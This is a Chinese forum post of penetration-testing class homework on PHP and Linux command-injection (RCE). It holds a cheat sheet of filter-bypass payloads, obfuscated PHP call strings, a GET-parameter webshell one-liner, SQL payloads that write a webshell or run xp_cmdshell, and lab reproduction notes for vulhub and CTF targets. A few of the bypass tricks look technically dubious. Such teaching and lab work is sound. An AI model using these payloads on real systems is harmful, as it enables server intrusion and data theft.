发帖
 找回密码
 立即注册
搜索
0 0

分享 WEB渗透系统班-RCE-命令执行漏洞(上)+RCE-命令执行漏洞(下)

技术分享 1281 0 2025-9-12 10:38:36
[i=s] 本帖最后由 zeke 于 2025-9-12 10:38 编辑 [/i]

WEB渗透测试工程师系统班250303期
第35节课作业
1.命令执行的函数有哪些

一、核心命令执行函数

1. system()

system('whoami');  // 执行命令并直接输出结果
  • 执行外部命令并显示输出
  • 返回命令的最后一行结果

2. exec()

exec('whoami', $output, $return_var);
print_r($output);  // 需要手动输出结果
  • 执行命令但不直接输出结果
  • 将结果存储在数组中
  • 返回最后一行结果

3. shell_exec()

$result = shell_exec('whoami');
echo $result;  // 需要手动输出结果
  • 通过shell执行命令
  • 返回命令的完整输出

4. passthru()

passthru('whoami');  // 直接输出原始结果
  • 执行命令并直接输出原始结果
  • 适合处理二进制数据

二、反引号运算符

5. 反引号 ``

$result = `whoami`;  // 等同于 shell_exec()
echo $result;
  • 执行操作符,功能同 shell_exec()
  • 最简洁的命令执行方式

三、进程控制函数

6. proc_open()

$process = proc_open('whoami', [
    0 => ['pipe', 'r'], // 标准输入
    1 => ['pipe', 'w'], // 标准输出
    2 => ['pipe', 'w']  // 标准错误
], $pipes);

echo stream_get_contents($pipes[1]);
proc_close($process);
  • 更高级的进程控制
  • 可以双向通信

7. popen()

$handle = popen('whoami', 'r');
echo fread($handle, 2096);
pclose($handle);
  • 打开进程文件指针
  • 适合处理大量输出

四、其他相关函数

8. pcntl_exec() (需要pcntl扩展)

pcntl_exec('/bin/bash', ['-c', 'whoami']);
  • 在当前进程空间执行程序

9. dl() + 扩展函数 (不常用)

dl('ssh2.so');
// 然后使用ssh2_exec等函数

五、编程语言执行函数

10. eval()

eval('system("whoami");');  // 执行PHP代码,可间接执行命令
  • 执行字符串中的PHP代码
  • 可间接执行系统命令

11. assert()

assert('system("whoami")');  // 执行PHP代码
  • 检查断言,可执行代码

六、特殊用途函数

12. mail() (间接)

// 通过mail函数的第五参数执行命令
mail('', '', '', '', '-f"`whoami`"');
  • 在某些配置下可执行命令

13. imagemagick函数 (间接)

// 通过处理外部文件执行命令

2.命令执行中,linux的拼接符有哪些,说明每个拼接符的含义

一、基本命令拼接符

1. 分号 ;

含义​:按顺序执行多个命令,无论前一个命令是否成功

bash

command1 ; command2 ; command3

示例​:

bash

echo "First" ; echo "Second" ; echo "Third"
# 输出:First → Second → Third(无论哪个命令失败都会继续)

2. 与号 &&

含义​:只有前一个命令成功(返回0)才执行下一个命令

bash

command1 && command2 && command3

示例​:

bash

cd /exist_directory && ls -la
# 只有cd成功才会执行ls

3. 或号 ||

含义​:只有前一个命令失败(返回非0)才执行下一个命令

bash

command1 || command2 || command3

示例​:

bash

cd /nonexistent || echo "Directory not found"
# 如果cd失败,则执行echo

4. 管道符 |

含义​:将前一个命令的输出作为后一个命令的输入

bash

command1 | command2 | command3

示例​:

bash

cat file.txt | grep "search" | wc -l
# 搜索file.txt中包含"search"的行数

二、高级拼接符

5. 后台执行 &

含义​:在后台运行命令,立即返回提示符

bash

command1 & command2

示例​:

bash

sleep 10 & echo "Command running in background"
# sleep在后台运行,立即执行echo

6. 组合命令 {}

含义​:将多个命令组合在一起执行

bash

{ command1; command2; command3; }

示例​:

bash

{ echo "Start"; date; echo "End"; } > log.txt
# 将所有输出重定向到log.txt

7. 子shell ()

含义​:在子shell中执行命令组合

bash

(command1; command2; command3)

示例​:

bash

(cd /tmp && ls -la)
# 在子shell中切换目录,不影响当前shell

三、特殊拼接技巧

8. 命令替换 $() 和反引号

含义​:将一个命令的输出作为另一个命令的参数

bash

echo "Today is $(date)"
echo "User is `whoami`"

9. 进程替换 <()>()

含义​:将命令输出作为文件处理

bash

diff <(ls dir1) <(ls dir2)

3.命令执行的绕过方式有哪些

一、空格绕过

1. 特殊变量代替空格

bash

${IFS}
$IFS$9
$IFS
{cat,flag.txt}  # 花括号扩展

2. 重定向符号代替空格

bash

cat<>flag.txt
cat<flag.txt

3. URL编码

bash

%09   # Tab
%20   # 空格
%0a   # 换行符
%0d   # 回车符

4. 其他字符

bash

cat;flag.txt    # 分号(需要支持)
cat${IFS}flag.txt

二、关键字绕过

1. 字符串拼接

bash

c'a't flag.txt
c"a"t flag.txt
c\a\t flag.txt

2. 变量替换

bash

a=c;b=at;$a$b flag.txt
x=$'c\x61t';$x flag.txt

3. 编码绕过

bash

# Base64
echo 'Y2F0IGZsYWcudHh0' | base64 -d

# Hex编码
echo '63617420666c61672e747874' | xxd -r -p

# Unicode编码
echo $'\u0063\u0061\u0074\u0020\u0066\u006c\u0061\u0067\u002e\u0074\u0078\u0074'

4. 通配符

bash

cat fla*
cat fla?txt
cat /???/???/fla*

三、命令分隔符绕过

1. 多命令执行

bash

command1;command2   # 无论成功与否都执行
command1&&command2  # 前一个成功才执行后一个  
command1||command2  # 前一个失败才执行后一个

2. 子shell和组合

bash

(command1; command2)
{ command1; command2; }

3. 管道和重定向

bash

command1 | command2
command1 > file.txt

四、特殊技巧绕过

1. 反引号命令替换

bash

echo `whoami`
echo $(whoami)

2. 环境变量利用

bash

# 通过环境变量执行
env x='() { :;}; echo vulnerable' bash -c "echo test"

# 通过PATH执行
PATH=/tmp:$PATH; echo '/bin/sh' > /tmp/ls; chmod +x /tmp/ls

3. 时间盲注

bash

ping -c 4 127.0.0.1 && cat flag.txt  # 通过时间判断
sleep 5 && cat flag.txt

五、PHP特定绕过

1. 函数选择绕过

php

system()    // 被过滤时用其他函数
passthru()
exec()
shell_exec()
`反引号`
proc_open()
popen()

2. 字符串构造技巧

php

// 拼接
$_='sy'.'stem';$_('whoami');

// 异或运算
$_=('%13%19%13%14%12%0a'^'%60%60%60%60%60%60');$_('whoami');

// 取反  
$__=('>'>'<')+('>'>'<');$_=$__/$__;$_++;$____='';$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});$_=$____;$_('whoami');

3. 超全局变量利用

php

// 通过GET参数传递命令
$_GET['a']($_GET['b']);  // ?a=system&b=whoami

// 通过POST数据
file_get_contents('php://input');

六、数据库命令执行绕过

1. SQL注入中的命令执行

sql

-- MySQL
' UNION SELECT 1,2,3 INTO OUTFILE '/tmp/test.php' --

-- PostgreSQL
'; COPY (SELECT '<?php system($_GET[cmd]); ?>') TO '/var/www/html/shell.php' --

-- SQL Server
'; EXEC xp_cmdshell 'whoami' --

七、文件包含绕过

1. 利用文件包含执行命令

php

// 包含日志文件
include('/var/log/apache2/access.log');

// 包含上传文件
include('/tmp/uploaded_file.php');

// 包含PHP输入流
include('php://input');

八、编码和加密绕过

1. 多种编码方式

bash

# URL编码
cat%20flag.txt

# Double URL编码
cat%2520flag.txt

# HTML编码
cat&#x20;flag.txt

# Unicode编码
cat\u0020flag.txt

九、WAF绕过技巧

1. 大小写绕过

bash

Cat flag.txt
CAT flag.txt
cAt flag.txt

2. 双写绕过

bash

ccat flag.txt
catcat flag.txt

3. 插入特殊字符

bash

c\at flag.txt
ca\t flag.txt
cat fla%00g.txt

4. 注释符绕过

bash

cat/*123*/flag.txt
cat<!---->flag.txt

4.复现vulhub靶场php imap命令执行
注册抓包,修改信息,用-oProxyCommand=调用第三方命令
echo '1234567890'>/tmp/test0001
37.7.png
docker compose exec web bash查看文件/tmp/test0001

5.复现课堂的4个ctf绕过案例
环境准备:
kali在/var/www/html下面放1.php 2.php 3.php 4.php四关
同时存放flag.php,该文件写入任意内容
开启apache2服务
第一关:1.php
37.1.png

第二关:2.php
37.3.png

第三关:3.php
①%60...%60:使用反引号代替shell_exec(),避开shell关键词过滤
②tac:使用tac代替cat,避开cat关键词过滤
③%09:使用Tab代替空格,避开空格字符过滤
④/var/www/html/fla*:
使用绝对路径避免相对路径中的点号
使用通配符*匹配flag.php(可能是flagphp或其他名称)
避开点号.过滤
⑤整体字符串:不包含flag|system|php|cat|sort|shell|.| |'中的任何内
37.5.png

一、笔记标题:WEB渗透系统班-RCE-命令执行漏洞(上)+RCE-命令执行漏洞(下)

二、文章内容:

1.课程内容概要

主要知识点1:命令执行函数
主要知识点2:
主要知识点3:

2.重点知识与细节

概念解析
概念1:无
概念2:
关键步骤
步骤1:无
步骤2:
步骤3:
相关代码
1.php
37.2.png

2.php
37.4.png

3.php
37.6.png

3.实操练习和解析

如作业

4.个人总结

本节课最大的收获是:练习了命令执行漏洞
仍然存在疑问的地方:暂无
需要课后深入学习的内容:熟练应用

──── 0人觉得很赞 ────

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
免责声明:
1、本论坛中所有用户发布的内容仅代表作者个人观点,与本网站立场无关,本站不对其真实性、完整性或观点承担任何责任。
2、本论坛所提供的全部信息与内容,不保证其准确性、完整性或时效性。因阅读或使用本站内容而产生的任何误导、损失或风险,本站概不承担任何连带或法律责任。
3、当国家司法、行政机关依照法定程序要求本论坛披露用户信息时,本站予以配合并因此免责。
4、因网络线路故障、技术问题、不可抗力或本站无法控制的其他原因导致的服务中断或暂停,本站不承担由此造成的任何直接或间接损失。
5、对于任何通过技术手段破坏、攻击本论坛系统或扰乱正常秩序的行为,本站有权采取包括但不限于限制账号、封禁账号、追究法律责任等措施。
您需要登录后才可以回帖 立即登录
高级模式
返回